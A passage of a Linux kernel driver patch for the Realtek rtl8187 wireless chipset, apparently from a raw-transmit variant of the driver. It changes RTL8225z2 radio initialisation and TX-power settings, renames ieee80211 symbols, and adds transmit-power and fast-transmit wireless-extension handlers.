if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +901,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +914,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +979,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1006,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1023,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_rawtx/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_wx.c 2007-07-13 01:46:24.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,186 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +265,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +298,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +322,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +346,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +365,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +417,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv 